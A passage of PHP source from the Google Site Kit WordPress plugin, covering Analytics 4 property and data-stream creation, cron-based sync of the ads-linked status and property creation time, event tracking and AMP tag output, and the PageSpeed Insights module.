custom dimension slugs to reset. */ public function reset_data_available( $custom_dimensions = self::CUSTOM_DIMENSION_SLUGS ) { foreach ( $custom_dimensions as $custom_dimension ) { $this->transients->delete( $this->get_data_available_transient_name( $custom_dimension ) ); } } /** * Checks whether the custom dimension is valid. * * @since 1.113.0 * * @param string $custom_dimension Custom dimension slug. * @return bool True if valid, false otherwise. */ public function is_valid_custom_dimension( $custom_dimension ) { return in_array( $custom_dimension, self::CUSTOM_DIMENSION_SLUGS, true ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Synchronize_AdsLinked * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Modules\Ads; use Google\Site_Kit\Modules\Analytics_4; /** * The base class for Synchronizing the adsLinked status. * * @since 1.124.0 * @access private * @ignore */ class Synchronize_AdsLinked { const CRON_SYNCHRONIZE_ADS_LINKED = 'googlesitekit_cron_synchronize_ads_linked_data'; /** * Analytics_4 instance. * * @since 1.124.0 * @var Analytics_4 */ protected $analytics_4; /** * User_Options instance. * * @since 1.124.0 * @var User_Options */ protected $user_options; /** * Constructor. * * @since 1.124.0 * * @param Analytics_4 $analytics_4 Analytics 4 instance. * @param User_Options $user_options User_Options instance. */ public function __construct( Analytics_4 $analytics_4, User_Options $user_options ) { $this->analytics_4 = $analytics_4; $this->user_options = $user_options; } /** * Registers functionality through WordPress hooks. * * @since 1.124.0 */ public function register() { add_action( self::CRON_SYNCHRONIZE_ADS_LINKED, function () { $this->synchronize_ads_linked_data(); } ); } /** * Cron callback for synchronizing the ads linked data. * * @since 1.124.0 */ protected function synchronize_ads_linked_data() { $ads_connected = apply_filters( 'googlesitekit_is_module_connected', false, Ads::MODULE_SLUG ); if ( $ads_connected ) { return; } $owner_id = $this->analytics_4->get_owner_id(); $restore_user = $this->user_options->switch_user( $owner_id ); if ( user_can( $owner_id, Permissions::VIEW_AUTHENTICATED_DASHBOARD ) ) { $this->synchronize_ads_linked_status(); } $restore_user(); } /** * Synchronize the adsLinked status. * * @since 1.124.0 * * @return null */ protected function synchronize_ads_linked_status() { $settings_ga4 = $this->analytics_4->get_settings()->get(); $property_id = $settings_ga4['propertyID']; $property_ads_links = $this->analytics_4->get_data( 'ads-links', array( 'propertyID' => $property_id ) ); if ( is_wp_error( $property_ads_links ) || ! is_array( $property_ads_links ) ) { return null; } // Update the adsLinked status and timestamp. $this->analytics_4->get_settings()->merge( array( 'adsLinked' => ! empty( $property_ads_links ), 'adsLinkedLastSyncedAt' => time(), ) ); } /** * Schedules single cron which will synchronize the adsLinked status. * * @since 1.124.0 */ public function maybe_schedule_synchronize_ads_linked() { $analytics_4_connected = $this->analytics_4->is_connected(); $cron_already_scheduled = wp_next_scheduled( self::CRON_SYNCHRONIZE_ADS_LINKED ); if ( $analytics_4_connected && ! $cron_already_scheduled ) { wp_schedule_single_event( time() + ( WEEK_IN_SECONDS ), self::CRON_SYNCHRONIZE_ADS_LINKED ); } } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Synchronize_Property * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaProperty; /** * The base class for Synchronizing the Analytics 4 property. * * @since 1.116.0 * @access private * @ignore */ class Synchronize_Property { const CRON_SYNCHRONIZE_PROPERTY = 'googlesitekit_cron_synchronize_property_data'; /** * Analytics_4 instance. * * @since 1.116.0 * @var Analytics_4 */ protected $analytics_4; /** * User_Options instance. * * @since 1.116.0 * @var User_Options */ protected $user_options; /** * Constructor. * * @since 1.116.0 * * @param Analytics_4 $analytics_4 Analytics 4 instance. * @param User_Options $user_options User_Options instance. */ public function __construct( Analytics_4 $analytics_4, User_Options $user_options ) { $this->analytics_4 = $analytics_4; $this->user_options = $user_options; } /** * Registers functionality through WordPress hooks. * * @since 1.116.0 */ public function register() { add_action( self::CRON_SYNCHRONIZE_PROPERTY, function () { $this->synchronize_property_data(); } ); } /** * Cron callback for synchronizing the property. * * @since 1.116.0 */ protected function synchronize_property_data() { $owner_id = $this->analytics_4->get_owner_id(); $restore_user = $this->user_options->switch_user( $owner_id ); if ( user_can( $owner_id, Permissions::VIEW_AUTHENTICATED_DASHBOARD ) ) { $property = $this->retrieve_property(); $this->synchronize_property_create_time( $property ); } $restore_user(); } /** * Schedules single cron which will synchronize the property data. * * @since 1.116.0 */ public function maybe_schedule_synchronize_property() { $settings = $this->analytics_4->get_settings()->get(); $create_time_has_value = (bool) $settings['propertyCreateTime']; $analytics_4_connected = $this->analytics_4->is_connected(); $cron_already_scheduled = wp_next_scheduled( self::CRON_SYNCHRONIZE_PROPERTY ); if ( ! $create_time_has_value && $analytics_4_connected && ! $cron_already_scheduled ) { wp_schedule_single_event( // Schedule the task to run in 30 minutes. time() + ( 30 * MINUTE_IN_SECONDS ), self::CRON_SYNCHRONIZE_PROPERTY ); } } /** * Retrieve the Analytics 4 property. * * @since 1.116.0 * * @return GoogleAnalyticsAdminV1betaProperty|null $property Analytics 4 property object, or null if property is not found. */ protected function retrieve_property() { $settings = $this->analytics_4->get_settings()->get(); $property_id = $settings['propertyID']; $has_property_access = $this->analytics_4->has_property_access( $property_id ); if ( is_wp_error( $has_property_access ) || ! $has_property_access ) { return null; } $property = $this->analytics_4->get_data( 'property', array( 'propertyID' => $property_id ) ); if ( is_wp_error( $property ) ) { return null; } return $property; } /** * Synchronize the property create time data. * * @since 1.116.0 * * @param GoogleAnalyticsAdminV1betaProperty|null $property Analytics 4 property object, or null if property is not found. */ protected function synchronize_property_create_time( $property ) { if ( ! $property ) { return; } $create_time_ms = self::convert_time_to_unix_ms( $property->createTime ); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase $this->analytics_4->get_settings()->merge( array( 'propertyCreateTime' => $create_time_ms, ) ); } /** * Convert to Unix timestamp and then to milliseconds. * * @since 1.116.0 * * @param string $date_time Date in date-time format. */ public static function convert_time_to_unix_ms( $date_time ) { $date_time_object = new \DateTime( $date_time, new \DateTimeZone( 'UTC' ) ); return (int) ( $date_time_object->getTimestamp() * 1000 ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Datapoints\Create_Webdatastream * * @package Google\Site_Kit\Modules\Analytics_4\Datapoints * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Datapoints; use Google\Site_Kit\Core\Modules\Datapoint; use Google\Site_Kit\Core\Modules\Executable_Datapoint; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Missing_Required_Param_Exception; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaDataStreamWebStreamData; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaDataStream; use stdClass; /** * Class for the web data stream creation datapoint. * * @since 1.167.0 * @access private * @ignore */ class Create_Webdatastream extends Datapoint implements Executable_Datapoint { /** * Reference site URL. * * @since 1.167.0 * @var string */ private $reference_site_url; /** * Constructor. * * @since 1.167.0 * * @param array $definition Definition fields. */ public function __construct( array $definition ) { parent::__construct( $definition ); $this->reference_site_url = $definition['reference_site_url']; } /** * Creates a request object. * * @since 1.167.0 * * @param Data_Request $data_request Data request object. * @throws Missing_Required_Param_Exception Thrown if a required parameter is missing or empty. */ public function create_request( Data_Request $data_request ) { if ( ! isset( $data_request->data['propertyID'] ) ) { throw new Missing_Required_Param_Exception( 'propertyID' ); } $site_url = $this->reference_site_url; if ( ! empty( $data_request->data['displayName'] ) ) { $display_name = sanitize_text_field( $data_request->data['displayName'] ); } else { $display_name = URL::parse( $site_url, PHP_URL_HOST ); } $data = new GoogleAnalyticsAdminV1betaDataStreamWebStreamData(); $data->setDefaultUri( $site_url ); $datastream = new GoogleAnalyticsAdminV1betaDataStream(); $datastream->setDisplayName( $display_name ); $datastream->setType( 'WEB_DATA_STREAM' ); $datastream->setWebStreamData( $data ); return $this->get_service() ->properties_dataStreams ->create( Analytics_4::normalize_property_id( $data_request->data['propertyID'] ), $datastream ); } /** * Parses a response. * * @since 1.167.0 * * @param mixed $response Request response. * @param Data_Request $data Data request object. * @return stdClass Updated model with _id and _propertyID attributes. */ public function parse_response( $response, Data_Request $data ) { return Analytics_4::filter_webdatastream_with_ids( $response ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Datapoints\Create_Property * * @package Google\Site_Kit\Modules\Analytics_4\Datapoints * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Datapoints; use Google\Site_Kit\Core\Modules\Datapoint; use Google\Site_Kit\Core\Modules\Executable_Datapoint; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Missing_Required_Param_Exception; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaProperty as Google_Service_GoogleAnalyticsAdmin_GoogleAnalyticsAdminV1betaProperty; use stdClass; /** * Class for the property creation datapoint. * * @since 1.167.0 * @access private * @ignore */ class Create_Property extends Datapoint implements Executable_Datapoint { /** * Reference site URL. * * @since 1.167.0 * @var string */ private $reference_site_url; /** * Constructor. * * @since 1.167.0 * * @param array $definition Definition fields. */ public function __construct( array $definition ) { parent::__construct( $definition ); $this->reference_site_url = $definition['reference_site_url']; } /** * Creates a request object. * * @since 1.167.0 * * @param Data_Request $data_request Data request object. * @throws Missing_Required_Param_Exception Thrown if a required parameter is missing or empty. */ public function create_request( Data_Request $data_request ) { if ( ! isset( $data_request->data['accountID'] ) ) { throw new Missing_Required_Param_Exception( 'accountID' ); } if ( ! empty( $data_request->data['displayName'] ) ) { $display_name = sanitize_text_field( $data_request->data['displayName'] ); } else { $display_name = URL::parse( $this->reference_site_url, PHP_URL_HOST ); } if ( ! empty( $data_request->data['timezone'] ) ) { $timezone = $data_request->data['timezone']; } else { $timezone = get_option( 'timezone_string' ) ?: 'UTC'; } $property = new Google_Service_GoogleAnalyticsAdmin_GoogleAnalyticsAdminV1betaProperty(); $property->setParent( Analytics_4::normalize_account_id( $data_request->data['accountID'] ) ); $property->setDisplayName( $display_name ); $property->setTimeZone( $timezone ); return $this->get_service()->properties->create( $property ); } /** * Parses a response. * * @since 1.167.0 * * @param mixed $response Request response. * @param Data_Request $data Data request object. * @return stdClass Updated model with _id and _accountID attributes. */ public function parse_response( $response, Data_Request $data ) { return Analytics_4::filter_property_with_ids( $response ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Datapoints\Create_Account_Ticket * * @package Google\Site_Kit\Modules\Analytics_4\Datapoints * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Datapoints; use Google\Site_Kit\Core\Modules\Datapoint; use Google\Site_Kit\Core\Modules\Executable_Datapoint; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Missing_Required_Param_Exception; use Google\Site_Kit\Core\Util\Feature_Flags; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\Analytics_4\Account_Ticket; use Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin\Proxy_GoogleAnalyticsAdminProvisionAccountTicketRequest; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaAccount; /** * Class for the account ticket creation datapoint. * * @since 1.167.0 * @access private * @ignore */ class Create_Account_Ticket extends Datapoint implements Executable_Datapoint { /** * Credentials array. * * @since 1.167.0 * @var array */ private $credentials; /** * Provisioning redirect URI. * * @since 1.167.0 * @var string */ private $provisioning_redirect_uri; /** * Constructor. * * @since 1.167.0 * * @param array $definition Definition fields. */ public function __construct( array $definition ) { parent::__construct( $definition ); $this->credentials = $definition['credentials']; $this->provisioning_redirect_uri = $definition['provisioning_redirect_uri']; } /** * Creates a request object. * * @since 1.167.0 * * @param Data_Request $data_request Data request object. * @throws Missing_Required_Param_Exception Thrown if a required parameter is missing or empty. */ public function create_request( Data_Request $data_request ) { if ( empty( $data_request->data['displayName'] ) ) { throw new Missing_Required_Param_Exception( 'displayName' ); } if ( empty( $data_request->data['regionCode'] ) ) { throw new Missing_Required_Param_Exception( 'regionCode' ); } if ( empty( $data_request->data['propertyName'] ) ) { throw new Missing_Required_Param_Exception( 'propertyName' ); } if ( empty( $data_request->data['dataStreamName'] ) ) { throw new Missing_Required_Param_Exception( 'dataStreamName' ); } if ( empty( $data_request->data['timezone'] ) ) { throw new Missing_Required_Param_Exception( 'timezone' ); } $account = new GoogleAnalyticsAdminV1betaAccount(); $account->setDisplayName( $data_request->data['displayName'] ); $account->setRegionCode( $data_request->data['regionCode'] ); $redirect_uri = $this->provisioning_redirect_uri; // Add `show_progress` query parameter if the feature flag is enabled // and `showProgress` is set and truthy. if ( Feature_Flags::enabled( 'setupFlowRefresh' ) && ! empty( $data_request->data['showProgress'] ) ) { $redirect_uri = add_query_arg( 'show_progress', 1, $redirect_uri ); } $account_ticket_request = new Proxy_GoogleAnalyticsAdminProvisionAccountTicketRequest(); $account_ticket_request->setSiteId( $this->credentials['oauth2_client_id'] ); $account_ticket_request->setSiteSecret( $this->credentials['oauth2_client_secret'] ); $account_ticket_request->setRedirectUri( $redirect_uri ); $account_ticket_request->setAccount( $account ); return $this->get_service()->accounts ->provisionAccountTicket( $account_ticket_request ); } /** * Parses a response. * * @since 1.167.0 * * @param mixed $response Request response. * @param Data_Request $data Data request object. * @return mixed The original response without any modifications. */ public function parse_response( $response, Data_Request $data ) { $account_ticket = new Account_Ticket(); $account_ticket->set_id( $response->getAccountTicketId() ); // Required in create_data_request. $account_ticket->set_property_name( $data['propertyName'] ); $account_ticket->set_data_stream_name( $data['dataStreamName'] ); $account_ticket->set_timezone( $data['timezone'] ); $account_ticket->set_enhanced_measurement_stream_enabled( ! empty( $data['enhancedMeasurementStreamEnabled'] ) ); // Cache the create ticket id long enough to verify it upon completion of the terms of service. set_transient( Analytics_4::PROVISION_ACCOUNT_TICKET_ID . '::' . get_current_user_id(), $account_ticket->to_array(), 15 * MINUTE_IN_SECONDS ); return $response; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Tag_Guard * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; /** * Class for the Analytics 4 tag guard. * * @since 1.31.0 * @access private * @ignore */ class Tag_Guard extends Module_Tag_Guard { /** * Determines whether the guarded tag can be activated or not. * * @since 1.31.0 * * @return bool|WP_Error TRUE if guarded tag can be activated, otherwise FALSE or an error. */ public function can_activate() { $settings = $this->settings->get(); return ! empty( $settings['useSnippet'] ) && ! empty( $settings['measurementID'] ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Context; use Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\Event_List; use Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\Script_Injector; use Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\AMP_Config_Injector; use Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\Event_List_Registry; use Google\Site_Kit\Modules\Analytics_4; /** * Class for Google Analytics Advanced Event Tracking. * * @since 1.18.0. * @since 1.121.0 Migrated from the Analytics (UA) namespace. * @access private * @ignore */ final class Advanced_Tracking { /** * Plugin context. * * @since 1.18.0. * @var Context */ protected $context; /** * Map of events to be tracked. * * @since 1.18.0. * @var array Map of Event instances, keyed by their unique ID. */ private $events; /** * Main class event list registry instance. * * @since 1.18.0. * @var Event_List_Registry */ private $event_list_registry; /** * Advanced_Tracking constructor. * * @since 1.18.0. * * @param Context $context Plugin context. */ public function __construct( Context $context ) { $this->context = $context; $this->event_list_registry = new Event_List_Registry(); } /** * Registers functionality through WordPress hooks. * * @since 1.18.0. * @since 1.118.0 Renamed hooks to target Analytics 4 module. */ public function register() { $slug_name = Analytics_4::MODULE_SLUG; add_action( "googlesitekit_{$slug_name}_init_tag", function () { $this->register_event_lists(); add_action( 'wp_footer', function () { $this->set_up_advanced_tracking(); } ); } ); add_action( "googlesitekit_{$slug_name}_init_tag_amp", function () { $this->register_event_lists(); add_filter( 'googlesitekit_amp_gtag_opt', function ( $gtag_amp_opt ) { return $this->set_up_advanced_tracking_amp( $gtag_amp_opt ); } ); } ); } /** * Returns the map of unique events. * * @since 1.18.0. * * @return array Map of Event instances, keyed by their unique ID. */ public function get_events() { return $this->events; } /** * Injects javascript to track active events. * * @since 1.18.0. */ private function set_up_advanced_tracking() { $this->compile_events(); ( new Script_Injector( $this->context ) )->inject_event_script( $this->events ); } /** * Adds triggers to AMP configuration. * * @since 1.18.0. * * @param array $gtag_amp_opt gtag config options for AMP. * @return array Filtered $gtag_amp_opt. */ private function set_up_advanced_tracking_amp( $gtag_amp_opt ) { $this->compile_events(); return ( new AMP_Config_Injector() )->inject_event_configurations( $gtag_amp_opt, $this->events ); } /** * Instantiates and registers event lists. * * @since 1.18.0. */ private function register_event_lists() { /** * Fires when the Advanced_Tracking class is ready to receive event lists. * * This means that Advanced_Tracking class stores the event lists in the Event_List_Registry instance. * * @since 1.18.0. * * @param Event_List_Registry $event_list_registry */ do_action( 'googlesitekit_analytics_register_event_lists', $this->event_list_registry ); foreach ( $this->event_list_registry->get_lists() as $event_list ) { $event_list->register(); } } /** * Compiles the list of Event objects. * * @since 1.18.0. */ private function compile_events() { $this->events = array_reduce( $this->event_list_registry->get_lists(), function ( $events, Event_List $event_list ) { return array_merge( $events, $event_list->get_events() ); }, array() ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\AMP_Tag * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Modules\Tags\Module_AMP_Tag; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Interface; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Trait; /** * Class for AMP tag. * * @since 1.104.0 * @access private * @ignore */ class AMP_Tag extends Module_AMP_Tag implements Tag_Interface, Tag_With_Linker_Interface { use Method_Proxy_Trait; use Tag_With_Linker_Trait; /** * Custom dimensions data. * * @since 1.113.0 * @var array */ private $custom_dimensions; /** * Sets the current home domain. * * @since 1.118.0 * * @param string $domain Domain name. */ public function set_home_domain( $domain ) { $this->home_domain = $domain; } /** * Sets custom dimensions data. * * @since 1.113.0 * * @param string $custom_dimensions Custom dimensions data. */ public function set_custom_dimensions( $custom_dimensions ) { $this->custom_dimensions = $custom_dimensions; } /** * Registers tag hooks. * * @since 1.104.0 */ public function register() { $render = $this->get_method_proxy_once( 'render' ); // Which actions are run depends on the version of the AMP Plugin // (https://amp-wp.org/) available. Version >=1.3 exposes a // new, `amp_print_analytics` action. // For all AMP modes, AMP plugin version >=1.3. add_action( 'amp_print_analytics', $render ); // For AMP Standard and Transitional, AMP plugin version <1.3. add_action( 'wp_footer', $render, 20 ); // For AMP Reader, AMP plugin version <1.3. add_action( 'amp_post_template_footer', $render, 20 ); // For Web Stories plugin. add_action( 'web_stories_print_analytics', $render ); // Load amp-analytics component for AMP Reader. $this->enqueue_amp_reader_component_script( 'amp-analytics', 'https://cdn.ampproject.org/v0/amp-analytics-0.1.js' ); $this->do_init_tag_action(); } /** * Outputs gtag <amp-analytics> tag. * * @since 1.104.0 */ protected function render() { $config = $this->get_tag_config(); $gtag_amp_opt = array( 'optoutElementId' => '__gaOptOutExtension', 'vars' => array( 'gtag_id' => $this->tag_id, 'config' => $config, ), ); /** * Filters the gtag configuration options for the amp-analytics tag. * * You can use the {@see 'googlesitekit_gtag_opt'} filter to do the same for gtag in non-AMP. * * @since 1.24.0 * @see https://developers.google.com/gtagjs/devguide/amp * * @param array $gtag_amp_opt gtag config options for AMP. */ $gtag_amp_opt_filtered = apply_filters( 'googlesitekit_amp_gtag_opt', $gtag_amp_opt ); // Ensure gtag_id is set to the correct value. if ( ! is_array( $gtag_amp_opt_filtered ) ) { $gtag_amp_opt_filtered = $gtag_amp_opt; } if ( ! isset( $gtag_amp_opt_filtered['vars'] ) || ! is_array( $gtag_amp_opt_filtered['vars'] ) ) { $gtag_amp_opt_filtered['vars'] = $gtag_amp_opt['vars']; } printf( "\n<!-- %s -->\n", esc_html__( 'Google Analytics AMP snippet added by Site Kit', 'google-site-kit' ) ); printf( '<amp-analytics type="gtag" data-credentials="include"%s><script type="application/json">%s</script></amp-analytics>', $this->get_tag_blocked_on_consent_attribute(), // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped wp_json_encode( $gtag_amp_opt_filtered ) ); printf( "\n<!-- %s -->\n", esc_html__( 'End Google Analytics AMP snippet added by Site Kit', 'google-site-kit' ) ); } /** * Extends gtag vars config with the GA4 tag config. * * @since 1.104.0 * * @param array $opt AMP gtag config. * @return array */ protected function extend_gtag_opt( $opt ) { $opt['vars']['config'] = array_merge( $opt['vars']['config'], $this->get_tag_config() ); // `gtag_id` isn't used in a multi-destination configuration. // See https://developers.google.com/analytics/devguides/collection/amp-analytics/#sending_data_to_multiple_destinations. unset( $opt['vars']['gtag_id'] ); return $opt; } /** * Gets the tag config as used in the gtag data vars. * * @since 1.113.0 * * @return array Tag configuration. */ protected function get_tag_config() { $config = array( $this->tag_id => array( 'groups' => 'default', ), ); if ( ! empty( $this->custom_dimensions ) ) { $config[ $this->tag_id ] = array_merge( $config[ $this->tag_id ], $this->custom_dimensions ); } return $this->add_linker_to_tag_config( $config ); } } <?php /** * Class Google\Site_Kit\Modules\PageSpeed_Insights * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Deactivation; use Google\Site_Kit\Core\Modules\Module_With_Owner; use Google\Site_Kit\Core\Modules\Module_With_Owner_Trait; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Modules\PageSpeed_Insights\Settings; use Google\Site_Kit_Dependencies\Google\Service\PagespeedInsights as Google_Service_PagespeedInsights; use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface; use WP_Error; /** * Class representing the PageSpeed Insights module. * * @since 1.0.0 * @access private * @ignore */ final class PageSpeed_Insights extends Module implements Module_With_Scopes, Module_With_Assets, Module_With_Deactivation, Module_With_Settings, Module_With_Owner { use Module_With_Scopes_Trait; use Module_With_Assets_Trait; use Module_With_Settings_Trait; use Module_With_Owner_Trait; /** * Module slug name. */ const MODULE_SLUG = 'pagespeed-insights'; /** * Registers functionality through WordPress hooks. * * @since 1.0.0 */ public function register() {} /** * Cleans up when the module is deactivated. * * @since 1.0.0 */ public function on_deactivation() { $this->get_settings()->delete(); } /** * Gets map of datapoint to definition data for each. * * @since 1.12.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { return array( 'GET:pagespeed' => array( 'service' => 'pagespeedonline', 'shareable' => true, ), ); } /** * Creates a request object for the given datapoint. * * @since 1.0.0 * * @param Data_Request $data Data request object. * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * * @throws Invalid_Datapoint_Exception Thrown if the datapoint does not exist. */ protected function create_data_request( Data_Request $data ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:pagespeed': if ( empty( $data['strategy'] ) ) { return new WP_Error( 'missing_required_param', sprintf( /* translators: %s: Missing parameter name */ __( 'Request parameter is empty: %s.', 'google-site-kit' ), 'strategy' ), array( 'status' => 400 ) ); } $valid_strategies = array( 'mobile', 'desktop' ); if ( ! in_array( $data['strategy'], $valid_strategies, true ) ) { return new WP_Error( 'invalid_param', sprintf( /* translators: 1: Invalid parameter name, 2: list of valid values */ __( 'Request parameter %1$s is not one of %2$s', 'google-site-kit' ), 'strategy', implode( ', ', $valid_strategies ) ), array( 'status' => 400 ) ); } if ( ! empty( $data['url'] ) ) { $page_url = $data['url']; } else { $page_url = $this->context->get_reference_site_url(); } $service = $this->get_service( 'pagespeedonline' ); return $service->pagespeedapi->runpagespeed( $page_url, array( 'locale' => $this->context->get_locale( 'site', 'language-code' ), 'strategy' => $data['strategy'], ) ); } return parent::create_data_request( $data ); } /** * Sets up the module's assets to register. * * @since 1.9.0 * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $base_url = $this->context->url( 'dist/assets/' ); return array( new Script( 'googlesitekit-modules-pagespeed-insights', array( 'src' => $base_url . 'js/googlesitekit-modules-pagespeed-insights.js', 'dependencies' => array( 'googlesitekit-vendor', 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-modules', 'googlesitekit-notifications', 'googlesitekit-datastore-site', 'googlesitekit-components', ), ) ), ); } /** * Sets up information about the module. * * @since 1.0.0 * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => 'pagespeed-insights', 'name' => _x( 'PageSpeed Insights', 'Service name', 'google-site-kit' ), 'description' => __( 'Google PageSpeed Insights gives you metrics about performance, accessibility, SEO and PWA', 'google-site-kit' ), 'homepage' => __( 'https://pagespeed.web.dev', 'google-site-kit' ), ); } /** * Sets up the module's settings instance. * * @since 1.49.0 * * @return Module_Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.0.0 * @since 1.2.0 Now requires Google_Site_Kit_Client instance. * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ protected function setup_services( Google_Site_Kit_Client $client ) { return array( 'pagespeedonline' => new Google_Service_PagespeedInsights( $client ), ); } /** * Gets required Google OAuth scopes for the module. * * @return array List of Google OAuth scopes. * @since 1.0.0 */ public function get_scopes() { return array( 'openid', ); } } <?php /** * Class Google\Site_Kit\Modules\Sign_In_With_Google * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Asset; use Google\Site_Kit\Core\Assets\Assets; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Assets\Stylesheet; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Deactivation; use Google\Site_Kit\Core\Modules\Module_With_Debug_Fields; use Google\Site_Kit\Core\Modules\Module_With_Inline_Data; use Google\Site_Kit\Core\Modules\Module_With_Inline_Data_Trait; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Tag; use Google\Site_Kit\Core\Modules\Module_With_Tag_Trait; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\REST_API\REST_Routes; use Google\Site_Kit\Core\Site_Health\Debug_Data; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Tracking\Feature_Metrics_Trait; use Google\Site_Kit\Core\Tracking\Provides_Feature_Metrics; use Google\Site_Kit\Core\Util\BC_Functions; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Modules\Sign_In_With_Google\Authenticator; use 